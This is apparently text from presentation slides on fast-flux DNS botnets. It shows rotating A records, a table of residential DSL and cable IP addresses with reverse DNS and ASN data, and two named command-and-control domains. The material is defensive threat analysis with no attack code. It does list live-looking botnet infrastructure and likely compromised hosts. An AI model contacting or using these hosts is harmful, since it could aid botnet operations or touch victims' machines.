thearmynext.info. 600 IN A 91.148.168.92
thearmynext.info. 600 IN A 195.38.60.79
```


Completely  
different  
answer on  
2<sup>nd</sup> Query

Different  
AS


DSL/Dial  
-up  
ranges

IP address returned in A record	Reverse DNS lookup for IP address	ASN	Country
69.183.26.53	69.183.26.53.adsl.snet.net.	7132	US
76.205.234.131	adsl-76-205-234-131.dsl.hstntx.sbcglobal.net.	7132	US
85.177.96.105	e177096105.adsl.alicedsl.de.	13184	DE
217.129.178.138	ac-217-129-178-138.netvisao.pt.	13156	PT
24.98.252.230	c-24-98-252-230.hsd1.ga.comcast.net.	7725	US





# 5. Fast-Flux Domain Service



C&C Domain: [botz.noretards.com](http://botz.noretards.com) (IP = 5)



C&C Domain: [serv01.colo.owned.hu](http://serv01.colo.owned.hu) (IP = 10)





# Q & A

